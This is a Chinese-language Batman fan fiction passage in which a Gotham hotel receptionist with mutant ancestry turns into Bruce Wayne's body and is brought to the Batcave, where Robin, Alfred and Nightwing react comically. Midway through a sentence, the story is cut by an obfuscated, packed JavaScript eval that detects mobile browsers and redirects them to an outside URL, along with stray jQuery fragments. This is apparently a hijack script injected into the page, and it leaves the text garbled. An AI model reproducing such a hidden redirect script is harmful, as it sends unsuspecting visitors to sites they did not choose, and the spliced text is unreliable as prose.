那块砖冷不丁从转角处飞出来的时候，伊芙明白自己今天犯了大错。


    凭着老哥谭人的生存本能，她偏头躲过第一下，听见未能得逞的袭击者的咒骂声，朝反方向扭头就跑。然后她的好运到此为止，砖块命中了她右侧膝盖后方，摔在满是水洼的路面上前一刻，她赶忙将小挎包从肩膀上方扔向劫匪。用砖当武器以哥谭标准简直寒酸得没眼看，但愿这家伙图的是财。


    劫匪拾起她的包，一边翻捡一边嫌弃内容物简薄。伊芙赌对了，可有什么用呢？她根本站不起来，只能一条腿支着自己一蹦一蹦地往前爬。没爬两下她就伏地放弃了，对方只想要包的话逃不逃都没区别，对方想要别的……也一样没区别。


    一声沉闷的撞击，伴随着劫匪爆发的惨叫：“蝙蝠侠！”


    又是两声撞击，哀号变成了呻吟和求饶，伊芙敢说那家伙尿了裤子。在哀号的尾音中，靴子的落地声慢慢靠近伊芙，伊芙犹豫了一下，在自己身下收起弹簧刀的刀刃，将它塞回口袋。


    可恶，她的衣服毁了。


    拿到现在这份工作是伊芙撞了大运，她求职那会儿正赶上哥谭皇家酒店的员工大罢工要求涨工时以及承担全职员工福利义务等等，高层大笔一挥，闹得最凶的几个部门换的换炒的炒，空出来的岗位随手便宜了一批新人。现在伊芙每周工作28小时，福利自然是不用想了，但哥谭皇家酒店的时薪比她此前的两份兼职加起来都要高，除通勤远外，唯一的缺点是她由于外形条件较好被安排到了前台，得自费购买工作服。卡茨主管允许她穿之前被炒的前台的衣服先开始工作，每次发工资扣30%的衣服钱，还好心地给她打了个折，五个月付清——就跟伊芙的前任没付过衣服钱似的。


    卡茨显然一眼就看穿了她的心理价位，伊芙只能咬牙接受条件。过去六个月，她都万分珍惜、小心翼翼地穿这唯一的一套工作服，然而今晚，偏偏是今晚，她下班时忘记把它换下来了。


    一只手伸到伊芙跟前，“你怎么样？”


    蝙蝠侠的声音听上去就跟他那些起源传说一样像是地狱造物，如果他走进酒店大堂，用这种嗓音跟伊芙要求订个房间，伊芙大概会抖上三抖。然而眼下，伊芙斜睨那只黑手套，脑子里只有撕坏又被泥水浸透的工作服。她真的不是很想起来，但坐在水坑里也于事无补。


    蝙蝠侠黑漆漆的身影笼罩着她，那只手没有收回，像是被拒绝前它会一直在那儿，或是即便她拒绝了也不会怎样，但他永远都要这么试一试——真蠢。如果一个东西它看起来像怪物，听起来像怪物，行动起来也像怪物，那么它就是个怪物。这怪物把自己的声音压得稍微柔和了一点儿，朝伊芙伸出爪子尖尖的手，另一只手还抓着伊芙的小包，就跟松狮在泰迪面前趴下示好假装无害一样可笑。


    但伊芙大概是疼得没心思计较了，她右膝后面挨了一砖头，前面又摔了一下，现在完全使不上劲儿。她先是一只手抓住蝙蝠侠的手（蝙蝠侠有个明显的让爪子避开她的动作），随即踉跄了一下，又不得不用另一只手抓住蝙蝠侠前臂有点滑溜的紧身衣，蝙蝠侠配合地前倾身体，稳稳托起她——


    她正对上蝙蝠侠那半脸面具的白眼洞。


    从蝙蝠侠唯一裸露在外的下巴能看到他的嘴微微张开，又迅速合上了。伊芙低头一瞧，蝙蝠侠并没有俯身那么多，如果他完全站直，五英尺七英寸的伊芙应该也就比他矮个两英寸左右。但她已经明白问题不出在蝙蝠侠的身高上——她原本还算合身的套装已经小了至少五个号，全身上下崩裂开线的声响像一串连环屁。


    “跟我回蝙蝠洞。”蝙蝠侠说。


    伊芙盯着挤在脏裙摆下方的两条肌肉发达的长腿，拼命扩张胸腔吸进一口气，“我不是妓女，也不玩那种的。”


    一粒纽扣崩飞在蝙蝠侠下巴上。


    “……”


    蝙蝠洞它确实就是个洞，石头的。


    “只能在我指定的区域内活动。”蝙蝠侠在伊芙摘眼罩时解说道，“这也是为了你的安全——禁止拍照，罗宾！”


    “这儿的监控7/24！”那孩子不满地放下相机，吸了吸鼻子，“而且她现在顶着的是你的脸和身体，严格来说我不会侵犯任何人的肖像权。”


    “这是极不尊重的行为。”蝙蝠侠继续厉声说，“我要延长你的禁足，直到你认识到自己的错误。”


    “借题发挥！”罗宾哼了一声，随即不得不手忙脚乱地掏出一张卫生纸擤鼻子。“你只是怕迪克看到你穿女装的照片。”


    怕……啥玩意儿？


    “名字。”


    “拜托，B，她都已经直接变成你的样子了！”


    “她不知道自己现在的形象。”


    确实，伊芙上车前就戴上了眼罩，但讲老实话，蝙蝠侠面具下的脸长什么样远远不是她最关心的问题，她甚至都懒得参观蝙蝠洞。她已经忍了一路，对这疑似父子俩的即将展开的又一轮吵嘴（关于罗宾需要花多久从感冒中痊愈）忍无可忍。


    “不好意思，有内裤能给我换吗？”伊芙缓慢挪下车，浑身发抖，夹着腿往下拽裙摆，“我勒得蛋疼……”


    ……


    总之，她现在是布鲁斯?韦恩。发现她跟罗宾握手也不会缩水后，蝙蝠侠好像就放弃阻止伊芙看到自己的脸了——但愿蝙蝠侠不杀人的传闻是真的。


    略去漫长痛苦的脱衣过程，长话短说，伊芙绝对比任何小报都更彻底地侵犯了韦恩的隐私。丝绸睡衣应该比她这辈子所有衣服加起来还贵，但太过光洁顺滑的面料对隐藏口袋里的东西没什么帮助。伊芙不管那么多，收起弹簧刀，用更衣室的镜子品评了一会儿韦恩的脸究竟哪种角度和表情最漂亮，得出结论韦恩生来就得天独厚。全方位的。


    她一瘸一拐地挪出蝙蝠更衣室（蝙蝠洞的更衣室还能叫啥呢？），下意识地看向漆黑洞穴中最大的光源，见蝙蝠侠和罗宾都站在她被禁止靠近的那片满是屏幕的区域，操作台上多了个托盘，放着饮料和点心。罗宾一侧腮帮子撑成了半圆形，边咀嚼边兴高采烈地朝她挥挥手，这时蝙蝠侠平静地对着一个麦克风说：“不好意思，有内裤能给我换吗，我勒得蛋疼。”


    伊芙摔倒在地。


    “咯，咯咯。”罗宾仰起头说，随即两手握在身前，娴熟地对自己实施海姆立克急救，吐出了块饼干之类的东西。蝙蝠侠暂停动作回了头，确定这个小插曲完全不妨碍罗宾爆笑如雷，就又忙自己的去了。


    罗宾东倒西歪地走了过来，幸而伊芙无需指望他的搀扶。一位中等身材的年长男性赶在她压到自己伤处前就一个箭步抓住了她的胳膊，被布鲁斯?韦恩的体重拖得趔趄了一下。


    “请坐，罗德里格斯小姐。”年长者架起她，“在下阿尔弗雷德?潘尼沃斯，韦恩家的管家。”


    “声纹吻合。”电脑机械音跟蝙蝠侠一样冷静地说。


    呃，提供了这样一句话还真是不好意思。


    潘尼沃斯引伊芙去坐的应该是医疗区的金属台，跟看上去一样冰屁股，罗宾将将缓过劲儿，一见伊芙本能地缩脖子又笑得上气不接下气，还对蝙蝠侠嚷了些像是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15165149|165093||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “我就知道你也冷”之类的话。一些扑啦啦的骚动从天顶传来，似乎他狂笑的声浪惊扰了某些成群会飞的生物，而潘尼沃斯丝毫不受外界影响，蹲身卷起了她宽大的裤腿。


    “噢，你没有伤疤。”罗宾又擤完一轮鼻子，凑过来围观。不笑出鸟叫的时候，他像是个非常聪明的孩子。“后背疼吗？”


    “提姆。”蝙蝠侠警告地说，不过他应该是关掉了变声器之类的东西，听上去远没有在巷子里时那么吓人。


    “现在是谁在叫名字了？”提姆反击。


    “膝盖和胳膊肘有点儿擦伤，其他的都不疼。”蝙蝠侠也受伤？嗯，他有个对包扎这么熟练的管家，大概是会的。“也没发现什么超能力。”


    “那当然，他本来就——”


    “提姆。”


    “你没有超能力？”伊芙诧异地说，“所以你揍人就纯靠拳头是吗？”


    “以及靴子。”罗宾补充，“还有蝙蝠镖，蝙蝠车，蝙蝠手雷……之类的。”


    “你也是？”


    提姆肯定接收到了某种无声的蝙蝠信号（没人来救救哥谭传说的命名方式吗？），不高兴地抱起胳膊，住口站到一旁。即使没有回答，答案也再明显不过。


    “你们对付哥谭得吃多少苦头啊。”伊芙感叹。


    蝙蝠洞忽然一片寂静，成百上千小小翅膀的骚动和水流声显得分外清晰。


    “您的变形并不是有意的，也无法自行恢复原状，对吗？”潘尼沃斯和气地问，伊芙点了点头。“这是您身上第一次发生此类事故吗？”


    “对。”伊芙回答，“你们这个，呃，蝙蝠洞，能不能做基因检测？”


    提姆和潘尼沃斯对视了一下，而蝙蝠侠说：“你近亲属中有变种人。”


    “我妈妈。”


    “你妈妈是X战警？”提姆脱口而出，伊芙几乎能看见那些超级英雄的形象在他脑子里像快进影片一样闪过。


    “不。她能在水里呼吸，除此之外什么都没有。”


    “噢，呃，那也挺酷的。”提姆找补道，“我一直希望自己能在水里呼吸，特别是有时候——”


    “她的体力很弱，在浑浊的水域会被混合物呛住，也抵抗不了水压所以没法深潜。”伊芙语气平板，“除了不用担心淹死在浴缸里，没用。”


    “能边泡澡边睡觉也不错。”提姆尴尬地说，背过身繁忙地擤起了鼻涕。


    “超过80%的变种人都在德尔塔级以下，几乎没有凭变种能力战斗的能力，这是常识，罗宾。”蝙蝠侠总算舍得转了过来。他身后似乎每个屏幕都在干不同的事儿，伊芙发现韦恩的眼力很好（废话），她已经认出了蝙蝠洞和七个街区监控以及——哥谭本地论坛？那是管理员界面吗？“罗德里格斯，如果你允许我们采集DNA样本，半小时内就能得到针对变种基因的检测结果。”


    “给我买两套工作服，你们要什么都行。”试一试能有什么损失呢？只要蝙蝠侠不把她灭口，她明天还是得吃饭。“我在哥谭皇家酒店工作。”


    “成交。”


    “你能当我的模特吗？”提姆显然受到了启发，“我会付你钱的！”


    “可以啊！”这是见钱眼开的伊芙。


    “不行。”这是挥金如土的韦恩。


    提姆正要抗议，蝙蝠电脑突然提示接到了夜翼的紧急通讯请求，随即一个青年的嚷嚷声响彻蝙蝠洞：“这就是提姆说的‘惊喜’吗？谁来解释一下我刚打开手机就看到这玩意儿——‘蝙蝠侠暗巷骑韦恩，黑暗骑士竟爱女装’？”